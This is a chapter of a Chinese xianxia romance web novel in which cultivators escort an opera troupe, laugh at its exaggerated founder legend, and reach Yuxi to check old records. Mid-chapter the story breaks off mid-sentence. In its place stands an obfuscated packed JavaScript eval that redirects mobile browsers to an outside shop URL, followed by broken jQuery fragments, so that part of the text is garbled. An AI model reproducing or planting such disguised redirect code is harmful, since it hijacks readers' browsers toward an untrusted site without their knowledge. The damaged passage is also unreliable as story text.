文趣网 > 其他小说 > 认错同门爱对郎 > 50.祖师爷的故事
    何万春一开口,七情班那位祖师爷就有了些了不得的本事。

    据说当年一场戏开唱,声震山河,三百里外的飞鸟齐齐落下,连河里的鱼都探出头来听。他老人家唱完三折,又清唱一段,直唱得云中两位仙人按下云头,特意来见。

    叶舒望向扇外,方才经过的那片山林已经落在后头。三百里都听得见,凡人里竟还有这样的高手。她原本只打算听两句,眼下连许宁的袖子都扯住了。这一嗓子若当真喊出来,往后七情班到哪儿开场,邻县的人怕是打开窗便能听全,票钱还得跨着城收。

    她向许宁传音:“他这嗓子,花道友也未必有。”

    许宁将扇面转开一点,笑道:“兴许花道友年轻,还没来得及把自己的事传上几代。师姐再听听,看这位前辈还有什么本事。”

    何万春正说到祖师爷不肯收仙人的谢礼。那两位夸他技艺通神,问他可有什么心愿,他只叹这世上懂戏的人太少,若能唱一回、叫天地间的人都听见,死也甘愿。

    高绍在后头咳了一声。

    “我听的不是这句。祖师爷说的是,若能歇三日还不被人追着讨账,死也甘愿。”

    花弄弦猛地抬头:“这句我听过!《穷班主借寿》第二折,前头还该有句‘寿借三日,债缓三年’。何班主,你师父是不是还演过这折?”

    何万春想了想,慢慢把嘴合上了。

    叶舒端详他片刻,心里那位足以与天音宗争高下的前辈,终于从云端落下来,脚还没沾地,先欠了三年的账。

    许宁手里的扇骨轻轻一颤。她知道他在忍笑,索性伸手按住那根扇骨,免得班主还没讲完,坐着的地方先笑歪了。

    何万春赶紧解释:“我师父讲故事,确实喜欢顺嘴添几句。不过那两位仙人听戏后赠铃,总是有的,这个历代都说过。”

    花弄弦已经来了精神:“添几句不妨事,你先说,我替你认认!我还听过有个班子,祖师爷一张嘴,天上掉下十八锭金子,后头唱词没接上,十八锭又飞回去了,气得他当夜就背了三百页词。你们这位可背过?”

    “这个倒没有。可有雷公给他打过鼓。”

    “《雷公贺寿》第四折!那折最后一道雷劈在鼓上,鼓裂了,人还得赔钱,所以才到下一折去借寿躲债。何班主,你师父这故事前后接得很齐整啊!”

    高绍听得直乐,何万春也笑起来,拍着膝盖说自己小时候听得认真,师父每逢见他不肯背词,便拿祖师爷吓唬他,说将来雷公到了,少唱一句就挨一下。

    叶舒原还想问那位祖师爷活了多大岁数,如今觉得不必问了。照这个唱法,能安安稳稳活到散场,便算雷公脾气不错。

    花弄弦越认越有兴致,又要接着唱那出借寿的尾声,叶舒却先朝班主开了口。

    “旧册里记的,也都是这些么?”

    何万春忙道:“不是,老班志记的是哪年去哪儿演、收过什么赠物,正经着呢。唱本更是另放着的,怕小徒弟找词时乱翻,早分开了。只是传了好些代,有些旧字我认得也不全,要劳烦仙长一起看。”

    叶舒这才点头。既然有当年的记载,就能把后人添进去的雷公与金子先放在一旁,去看这铃究竟从谁手里来。

    许宁问过赠物记录单独放在哪一柜,又请班主把同年的行程册一起取来。铃在什么地方收到、两位赠者有没有留下别的东西,都要与原话对得上。

    何万春答应得痛快。话音才落,花弄弦便把方才忍住的那句唱了出来,唱到“天公借我三日寿”,高绍顺口接了一声:“债主容我半时闲!”

    她眼睛一亮,抬手在膝上打起拍子。贺仲秋听出她用的是旧腔,身子往前一探,补上后半句,柳照棠嫌这班主讨寿讨得太容易,清了清嗓子,接了债主上门的唱段。

    才落回地上的祖师爷,又被他们一人一句唱上了天。

    叶舒起初还数得清谁在接谁的话,没一会儿,琵琶上、扇面上,连何万春都拍着腿唱起来。高绍扮穷班主,求寿求到一半还价钱,柳照棠不肯宽限,催债催出九曲十八弯,贺仲秋在旁边替雷公打了个响亮的口鼓,差点把班主讨来的三日寿吓回去两日。

    花弄弦听得两眼发亮,遇上妙处便拍手,唱词没接完,赞声先到了。几个人被她夸得兴起,连何万春都忘了怕高,直起腰来,替天公判了一回欠账。

    许宁往叶舒身旁挪近些,小声道:“她是不是偷偷施了什么音术?方才还一个个坐得好好的,这会儿全叫她迷住了。”

    “你胡说!”

    花弄弦那一声比雷公还响,竟能从七八个人的唱腔里准准捉住他的话。

    许宁抬起头,见她连拍子都没停,忙道:“我夸你唱得好。”

    “夸就好好夸!这叫听到一处去了,你没听贺师傅方才那个转音?他若平着唱,这句便落俗了,偏偏往上轻轻一挑,讨债的倒像怕欠债的跑了。我再唱给你听,你听清楚,这里头半点灵力没有——贺师傅,再接我一回!”

    贺仲秋果真应声来接。花弄弦一口气唱完,又说柳照棠那句怎样收得俏,高绍中间留的半拍怎样留得妙,讲到何万春,也没落下半句。

    许宁张了张嘴,花弄弦抬手道:“你先别问,我知道你要问什么。”

    叶舒偏头看他。他将到了嘴边的话咽回去,低低叹了口气:“我想说的是我不问。”

    这回叶舒学乖了,向他传音:“现在不能说。你一说,她还得解释你为什么该问。”

    许宁看她一眼,肩膀轻轻抖了起来。她握住他搭在身侧的左手,两个人并排听花弄弦从一个转音讲到半折戏。讲着讲着,班里的人又唱起来,花弄弦立刻丢下这两个不甚好学的,兴冲冲接了过去。

    叶舒听得高兴。方才问清旧册存放处,心里那件正事已有着落,眼下身旁的人肯陪她听,耳边又热闹,倒真像两个人一起出来游玩。

    她朝许宁传音:“下回用那两张票,可别请她坐旁边了。”

    “只带师姐。”许宁答完又低头看了看两人握在一起的手。

    前头剑光一折,李若真回到扇旁,指向一片青瓦屋顶:“榆溪到了。前头大路空着,可以落。”

    何万春从云气后探头,只看一眼便认出自家屋脊,指路的声音都高了几分。叶舒先将货车与骡子送到路旁空地,再同许宁落下,花弄弦也将琵琶上的人放到地面,收回法器,依依不舍地收了那段尚未唱完的雷公。

    木门从里头拉开,一个青衣少年抱着几双旧戏靴站在门槛上,仰头瞧了半天,才将目光从天上收回来。

    “师父,您怎么从那儿回来了?”

    何万春抬手在他头上轻拍一下:“陈柏生,眼睛往下放,先来见过几位仙长。”

    少年赶紧抱好靴子行礼,道谢的话说得很利索,说完便一转身,把怀里的东西递到高绍面前。

    “高师傅,这几双,您走前说回来就刷。”

    高绍方才还在学县官迈步子,闻言低头看了眼,只得伸手接了。他脚上刚脱下来的一双更脏,陈柏生眼尖,还没等藏,便又指了出来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960805|210640||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    叶舒看着他将靴子全抱走,朝许宁传音:“原来回了这里,也得还账。”

    “自然。”许宁瞧瞧自己脚下,笑道,“幸好我方才坐着,没踩泥。”

    她也低头看了一眼,裙边干净,鞋上只有一点路旁沾的细尘。师弟的扇子确实好坐,改日若换她带他,她也得挑一件宽敞些的法器,总不能叫他站一路,还要小心别踩着自己的衣裳。

    院里的人出来帮着收车,段青山被班主直接放去歇假,姚杏领着柳照棠往放衣箱的屋里走。陈柏生递过钥匙,何万春请四名修士进堂屋,先将各人的随身包裹放下。

    叶舒的包袱落在许宁那只旁边,绯色的结压在深色布角上。她看了一眼,并没有挪开;许宁也只将两只一起往桌里推了推,免得挡住端茶的地方。

    “叶仙长,存册的北屋就在那边。”班主指给她看,“我找同年那两卷,还得认一认封皮上的旧字,您陪我去一趟?”

    “好。”叶舒答应下来,又回头找许宁。

    他才将折扇收好,目光已迎了过来。她还没开口,他便朝堂外看了一眼。院东有一截清静的回廊,廊下小桌正对着一丛芭蕉,隔开了来往抬箱的人。

    “我在那边等师姐。”他声音低了些,“东西安置好了,那里也好说话。”

    叶舒顺着他的目光看过去,方才还普通得不能再普通的一张小桌,忽然便很叫人想坐。她先前在路上盼着快到,如今真到了,心里那些想说的话反倒挤成一团,谁也不肯给谁让路。

    “我取了册子就回来。”她道。

    许宁应了声好,拇指沿着扇骨来回抹了一下,目光在她脸上停了片刻,又往廊下移。叶舒瞧见,心里那群挤来挤去的话忽然全安静了片刻。

    原来师弟也紧张。

    这一点叫她很高兴。方才一路听他逗班主,她险些以为自己才是那个没见过世面的,连一句还没听到的话,也要翻来覆去在心里摆好几遍。如今看来,可以分他一半,谁也别想独自装得若无其事。

    她走近一点,替他把别在腰侧、勾住了衣角的扇穗理出来,手指随即收回。许宁低头看她,唇边刚浮起的笑又被压住,耳根却慢慢红了。

    “师姐。”他轻轻叫了一声。

    叶舒仰头望着他,等他接着说。他却只是看了她片刻,末了笑着道:“去罢,我等着。”

    她转身前又向那张廊下的小桌看了一眼。等会儿就坐那里,隔着桌子似乎远了些,最好把凳子挪到同一边。若他真有话要说,她这回得多应几句,不能只回一个冷冰冰的“好”,叫他又去猜她究竟高不高兴。

    何万春已取了钥匙往北屋去,叶舒随他穿过院子,听他讲哪一架存赠物、哪一架存行程。花弄弦在堂内喊了一声,叫他们也替自己把旧曲谱找出来,说马上就来。

    叶舒回头,见她又拉住了贺仲秋,说方才那处转音还想再听一遍。贺仲秋怀里抱着行头,站在门槛外就唱,两个人隔着一道门,又有了开一场戏的架势。

    叶舒随班主去找书架。只要将曲谱拿出来,想必比喊十遍花道友都有用。

    走到北屋门口,她忽然想起该给天机阁带个信,说明此地的事已处理妥当,如今他们到了榆溪查赠器原记。传讯符放在包里,回去还得翻一次,索性向许宁传音。

    “师弟,替我从包里取两张传讯符,夹在书旁边的白布袋里,等会儿用。”

    他的回应很快传来:“好。”

    叶舒心里踏实下来,伸手替班主推开了门。